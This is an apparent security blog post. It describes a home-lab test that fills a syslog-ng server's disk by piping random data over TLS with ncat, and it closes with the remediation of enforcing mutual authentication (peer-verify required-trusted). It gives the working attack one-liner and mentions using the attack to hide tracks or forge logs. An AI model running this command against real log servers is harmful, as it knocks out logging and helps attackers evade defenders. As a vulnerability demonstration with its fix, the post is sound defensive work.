Performing a DoS Attack Against a Syslog Server Over TLS
Quite commonly, syslog servers are configured to accept syslog messages via TLS from any log source. Without enforced mutual authentication in place, an attacker can in some cases bring down such a server rather quickly by filling up the hard drive with requests. In this post, I'll outline how I setup a test environment and ran
this attack. In my test, it only took 14 minutes to fill up the 12 GB
of free disk space on my test victim, and that was without using parallel attack threads, which could be done easily. This type of attack can be used by an attacker to keep the server from receiving logs related to other attacks, hiding their tracks and buying them time. With some modification, the exploit could likely be used to create false logs as well, to divert and confuse defenders.
Using a syslog-ng config that enforces mutual authentication can be a strong defense here, but if that's not possible, a mitigation in some (not all) circumstances might be to use firewall rules to block illegitimate syslog source IP addresses.
Below are the steps I used in my VMware Workstation test environment to perform this attack. Both the attack and victim machines were running Ubuntu Server 20.04, but the technical details should be similar on any *nix machines. The victim server was running syslog-ng 3.25.1. This post focuses on TLS, but this attack can of course be modified to work on unencrypted syslog configurations, as well.
TL;DR
dd if=/dev/urandom | ncat --ssl victim-syslog-server.local 6514
Victim Syslog Server Setup
1. Install packages: sudo apt install syslog-ng openssl net-tools
2. Set VMware network to host-only so that the victim and attacker will be on the same network (no internet access): Virtual Machine Settings>Network Adapter>Host-only (you may also need to restart networking to get a new IP address)
3. Create a self signed certificate:
cd /etc/syslog-ng
sudo mkdir ssl
cd ssl
sudo openssl gen rsa -des3 -out logserver.key 2048
sudo openssl req -new -key logserver.key -out logserver.csr
sudo cp logserver.key logserver.key.org
openssl rsa -in logserver.key.org -out logserver.key
openssl x509 -req -days 365 -in logserver.csr -signkey logserver.key -out logserver.crt
4. Append the following to /etc/syslog-ng/syslog-ng.conf:
# Include all config files in /etc/syslog-ng/conf.d/
@include "/etc/syslog-ng/conf.d/*.conf"
5. Create a supplementary config file with sudo nano /etc/syslog-ng/conf.d/tls.conf and populate it with the vulnerable optional-untrusted configuration:
source s_net {
network(
ip(0.0.0.0) port(6514)
transport("tls")
tls(
key-file("/etc/syslog-ng/ssl/logserver.key")
cert-file("/etc/syslog-ng/ssl/logserver.crt")
peer-verify(optional-untrusted)
)
);
};
destination d_file { file("/var/log/incoming-syslog"); };
log {
source(s_net); destination(d_file);
};
6. Restart syslog-ng: sudo /etc/init.d/syslog-ng restart
Attack Machine
1. Log into the attack machine and install packages: sudo apt install net-tools ncat
2. Set the attack machine's VMware network to host-only so that it will be on the same network as the victim: Virtual Machine Settings>Network Adapter>Host-only (you may also need to restart networking to get a new IP address)
3. Use ifconfig to get the IP address of each machine and make sure they can ping each other
4. From the attack machine, create a test syslog message to make sure your test environment is good to go: ncat --ssl syslog-server.local 6514
(Ncat will give you a blank line to type text on, so just type "test", hit enter, and then control-c to exit.)
5. Go back to the victim machine and make sure you received the test syslog: grep test /var/log/incoming-syslog
6. If everything is working, you can now switch back to the attack machine and start your attack by piping random data to ncat: dd if=/dev/urandom | ncat --ssl <victim-syslog-server-name-or-ip-address> 6514
At this point, I switched to my victim machine to watch the chaos ensue. First, I took a look at the incoming syslog messages, with tail /var/log/incoming-syslog. The corrupt syslog messages sort of crashed the console because of the invalid characters, and corrupted the display of anything I typed. I tried to run df -h to check disk space, but the output wasn't really readable:
I then switched to a different console on the victim machine using control-alt-f3, and got a functioning console to observe disk space with df -h. I timed it, and in about 14 minutes I filled up the 12 GB
of free disk space. If I had configured a multithreaded attack via multiple instances of ncat, or through a custom script, I could have likely brought the server down in a fraction of that time.
Remediation
There are multiple sources on the Internet which outline how to configure the mutual authentication piece to correct this vulnerability (see Resources section) so I won't provide that here, but the most important line in various example configs is often gotten wrong. The server is unfortunately typically configured with peer-verify(optional-untrusted), which is the least secure setting, and doesn't verify the identity of the host sending the syslog message. The most secure setting would be required-trusted, as outlined on the syslog-ng website. To harden the server, decide which level of enforcement is necessary for your environment, and copy the certificates between hosts as necessary.
I decided to configure my config file with required-trusted and see what would happen when I launched the attack again. The result was an i/o error from ncat. Denied.
Resources
I used various websites as resources for this project, including the ones below. Some of the configs and commands had to be changed for my version of syslog-ng,etc.
https://nineproductions.com/syslog-ng-with-tls-setup-for-centralized-logging/
Comments
Post a Comment